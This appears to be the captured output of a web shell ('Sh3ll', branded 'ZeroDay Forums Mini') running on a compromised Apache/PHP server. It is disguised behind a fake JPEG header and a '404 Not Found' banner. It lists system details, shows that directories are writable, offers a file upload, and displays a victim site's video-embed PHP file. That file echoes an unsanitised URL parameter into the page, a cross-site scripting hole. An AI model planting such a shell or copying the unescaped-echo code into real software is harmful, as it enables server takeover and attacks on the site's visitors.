JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/video/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/video/embed.php
<?php
$home_url ='https://'.$_SERVER['HTTP_HOST'].'/';
$url = '/anime/'.$_GET['url'];
$url_img = str_replace(array('/anime','.m3u8'),array('/thumb','.png'),$url);
$txt_id = str_replace(array('/anime','.m3u8'),array('',''),basename($url));
?>
<!doctype html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,Chrome=1" />
    <meta http-equiv="X-UA-Compatible" content="IE=9" />
    <title><?php echo $txt_id;?></title>
    <base href="<?php echo $home_url;?>" />
    <style type="text/css">
        html,body{
            width:100%;
            height:100%;
            overflow: hidden;
        }
        * {
            margin: 0px;
            padding: 0px;
        }
        .vlist {
            width: 100%;
        }
        #a1 {
            position: absolute;
            left: 0px;
            right: 0px;
            top: 0px;
            bottom: 0px;
            width:100%;
            height:100%;
        }
        .yytf_2 {
            position: absolute;
            z-index: 100;
            height: 280px;
            width: 336px;
            position: absolute;
            left: 50%;
            margin-left: -168px;
            top: 50%;
            margin-top: -140px;
        }
        #daojs {
            text-align: right;
            background-color: #000;
            padding-right: 20px;
            color: #FFF;
            padding-top: 20px;
            padding-bottom: 20px;
        }
        .adsense {
            height: 280px;
            width: 336px;
            background-color: #FFFFFF;
            position: absolute;
            left: 50%;
            margin-left: -168px;
            top: 50%;
            margin-top: -140px;
        }
        .gaog {
            font-family: "微软雅黑";
            position: absolute;
            width: 100%;
            height: auto;
            left: 0;
            bottom: 76px;
            z-index: 9999;
        }
        .gaog-var {
            text-align: center;
        }
        .gaog-var-kalt {
            display: inline-block;
            position: relative;
        }
        .gaog-var-kalt a {
            display: block;
        }
        .gaog-var-kalt img {
            display: block;
            margin: 0 auto;
            max-width: 80%;
        }
        .gaog-var-kalt b {
            position: absolute;
            right: 6px;
            top: 6px;
            z-index: 1;
            background: #333;
            color: #FFF;
            font-size: 12px;
            border-radius: 50%;
            cursor: pointer;
            font-weight: normal;
            width: 18px;
            height: 18px;
            line-height: 18px;
            overflow: hidden;
            text-align: center;
        }
        .gaog-var-kalt b:hover {
            background: #000;
        }
    </style>
</head>
<body onload="init()">
<div class="gaog" id="gaog">
    <div class="gaog-var">
    </div>
</div>
<div id="a1"></div>
<div style="display:none" name="playtime" value="2679"></div>
<div style="display:none" name="sizeview" value="3594304965"></div>
<script type="text/javascript" src="/js/jquery-1.11.2.min.js" charset="utf-8"></script>
<script type="text/javascript" src="/ckplayerx/ckplayer.js" charset="utf-8"></script>
<link rel="stylesheet" href="/DPlayer/DPlayer.min.css">
<!--
<script src="https://cdn.jsdelivr.net/npm/hls.js@latest"></script>
<script src="https://cdn.jsdelivr.net/npm/dplayer@latest"></script>
-->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/hls.js/8.0.0-beta.3/hls.min.js"></script>
<script src="/layout/js/node_modules/artplayer/dist/artplayer.js"></script>
<script type="text/javascript">
    var video_player= 'artplayer';
    var tracker_url = '';
    var signaler_url = '';
    var auto_play = true;
    var hosts = '';
    var redirecturl = "https://video.animez.org";
    var videoid = "<?php echo $txt_id;?>";
    var id = '<?php echo $txt_id;?>';
    var     l = '';
    var     r= '';
    var     t= '15';
    var     d= '';
    var     u= '';
    var main = "<?php echo $url;?>";
    var xml = "";
    var pic = "<?php echo $url_img;?>";
    var thumbnails = "<?php echo $url_img;?>";
</script>
<script>
    Artplayer.DEGUG = false;
    function crossdomainCheck() {
        if (!hosts) return;
        var referagent = document.referrer;
        if (redirecturl.indexOf("http") != 0)
            redirecturl = "http://" + redirecturl
        if (!referagent)
            return top.location.href = redirecturl;

        var hostsarr = hosts.split("|");
        var refer = false;
        var url = referagent;
        var reg = /^http(s)?:\/\/(.*?)\//;

        for (var i = 0; i <= hostsarr.length; i++) {
            if (reg.exec(url) && reg.exec(url)[2].indexOf(hostsarr[i]) >= 0) {
                refer = true;
                break;
            }
        };
        if (!refer) {
            top.location.href = redirecturl;
        };
    }
    crossdomainCheck();
    var time = 0;
    var _CK_ = null;
    var bOpen = 0;
    var bObj = null;
    var msgcache = {}
    var player = null;
    var player;
    function SetCookie(name, value) {
        var Days = 30;
        var exp = new Date();
        exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
        document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString();
    }
    function getCookie(name) {
        var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
        if (arr != null) return unescape(arr[2]); return null;
    }
    window.onerror = function () {
        return true;
    }
    function init() {
        play(main, xml);
    }
    function timeHandler(t) {
        console.log("time handler")
        if (t > -1)
            SetCookie(videoid + "_time", t);
    }
    function loadHandler() {
        player.addListener('time', timeHandler); //监听播放时间
    }
    function play(main, xml) {
        var hostname = window.location.hostname
        var port = window.location.port || '80';
        var picurl = window.location.protocol + "//" + window.location.host + pic;
        var url = window.location.protocol + "//" + window.location.host + main
        xml = window.location.protocol + "//" + window.location.host + xml
        var isiPad = navigator.userAgent.match(/iPhone|Linux|Android|iPod|ios|iOS|Windows Phone|Phone|WebOS/i) != null;
        var iPad = navigator.userAgent.match(/iPad/i) != null;
        if (iPad) {
            document.getElementById('a1').innerHTML = '<video src="' + url + '" controls webkit-playsinline="true" style="width: 100%; height: 100%; background-color: rgb(0, 0, 0);" width="100%" height="100%"></video>'
        } else if (isiPad) {
            var videoObject = {
                container: '#a1',
                variable: 'player',
                loaded: 'loadHandler',
                autoplay: true,
                poster: picurl,
                adfront: l, //前置广告
                adfronttime: t,
                adfrontlink: r,
                adpause: d,//暂停广告
                adpausetime: t,
                adpauselink: u,
                video: url
            };
        } else {
            var videoObject = {
                container: '#a1',
                variable: 'player',
                loaded: 'loadHandler',
                autoplay: true,
                poster: picurl,
                adfront: l, //前置广告
                adfronttime: t,
                adfrontlink: r,
                adpause: d,//暂停广告
                adpausetime: t,
                adpauselink: u,
                video: url
            };
        }
        var cookieTime = getCookie(videoid + "_time"); //调用已记录的time
        if (!cookieTime || cookieTime == undefined) { //如果没有记录值,则设置时间0开始播放
            cookieTime = 0;
        }
        if (cookieTime > 0) {
            videoObject['seek'] = cookieTime;
        }
        if (/msie|trident/i.test(navigator.userAgent)) {
            video_player = 'ckplayer'
        }
        if (video_player == 'ckplayer') {
            player = new ckplayer(videoObject);
        } else if (video_player == 'artplayer') {
            var artplayer_config = {
                capLevelToPlayerSize: true,
                maxBufferSize: 300,
                maxBufferLength: 50
            };
            window.vmspa = new Artplayer({
                container: '#a1',
                url: url,
                autoplay: true,
                autoSize: false,
                loop: false,
                mutex: true,
                setting: true,
                pip: true,
                flip: false,
                lock: true,
                fastForward: true,
                playbackRate: true,
                aspectRatio: true,
                theme: '#ff0057',
                fullscreen: true,
                fullscreenWeb: true,
                miniProgressBar: true,
                autoOrientation: true,
                airplay: false,
                whitelist: ['*'],
                customType: {
                    m3u8: function (video, url) {
                        if (Hls.isSupported()) {
                            const hls = new Hls(artplayer_config);
                            hls.loadSource(url);
                            hls.attachMedia(video);
                        } else if (video.canPlayType('application/vnd.apple.mpegurl')) {
                            video.src = url;
                        } else {
                            art.notice.show = 'm3u8';
                        }
                    },
                }
            });
            window.video_hash = location.href.split('/').pop()
            window.vmspa.on('video:progress', (event) => {
                if (!vmspa.currentTime) { return }
                localStorage.setItem(window.video_hash + ':progress', vmspa.currentTime)
            })
            window.vmspa.on('ready', () => {
                var progress = parseFloat(localStorage.getItem(window.video_hash + ':progress'))
                if (isNaN(progress)) {
                    progress = 0
                }
                window.vmspa.seek = progress
            })
        } else if (video_player == 'dplayer') {
            if (tracker_url && signaler_url) {
                console.log('p2p mix mode')
                P2PEngine.dplayer('a1', url, tracker_url, signaler_url)
            } else {
                console.log('cdn mode')
                new DPlayer({
                    container: document.getElementById('a1'),
                    screenshot: false,
                    autoplay: window.auto_play,
                    volume: 0,
                    contextmenu: [
                        // {
                        //     text: '澳门新葡京',
                        //     link: 'https://aomen.com/xinpujing'
                        // }
                    ],
                    video: {
                        type: 'customHls',
                        customType: {
                            'customHls': function (video, player) {
                                const hls = new Hls();
                                hls.loadSource(url);
                                hls.attachMedia(video);
                            }
                        },
                        url: url,
                        pic: picurl,
                        thumbnails: thumbnails
                    }
                });
            }
        } else {
            alert('unknown player' + video_player);
        }
    }
</script>
</body>
</html>

ZeroDay Forums Mini